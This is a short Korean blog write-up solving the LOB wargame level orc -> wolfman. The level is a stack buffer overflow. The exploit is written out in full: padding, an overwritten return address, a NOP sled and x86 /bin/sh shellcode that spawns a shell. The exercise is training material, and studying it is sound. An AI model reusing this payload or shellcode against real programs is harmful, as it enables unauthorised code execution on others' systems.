-->

[LOB] level5, orc -> wolfman 풀이

LOB, orc -> wolfman 문제 확인

level4 문제와 거의 동일한데 마지막에 버퍼를 memset으로 초기화한다는 것만 다르다. 어차피 RET 뒤에 쉘코드를 주어서 풀었었기 때문에 버퍼 초기화는 영향이 없다. 따라서 이전 문제와 동일한 방식으로 풀이를 진행하도록 한다.

 

 

 

LOB, orc -> wolfman 문제 풀이

현재 스택 상황은 아래와 같다.

 

i buffer SFP RET
4 40 4 4

 

 

 

strcpy 호출 뒤인 main+194에 bp를 건 후 실행시키고 버퍼 주소값을 확인해준다.

 

 

 

LOB, orc -> wolfman 익스플로잇

RET 앞에 44바이트 더미값을 준 다음 RET 자리에 덮어쓸 주소로 위 스택에서 확인한 적당한 주소값을 준다. 그리고 그 뒤에 nop과 쉘코드를 준다.

 

./wolfman `python -c 'print 
"\x90"*44
+"\x34\xfb\xff\xbf"
+"\x90"*1000+
"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`

 

 

그러면 리턴 후 nop sled를 타고 내려가다가 쉘코드가 실행되기 때문에 쉘을 획득할 수 있다.

 

 

댓글

Designed by JB FACTORY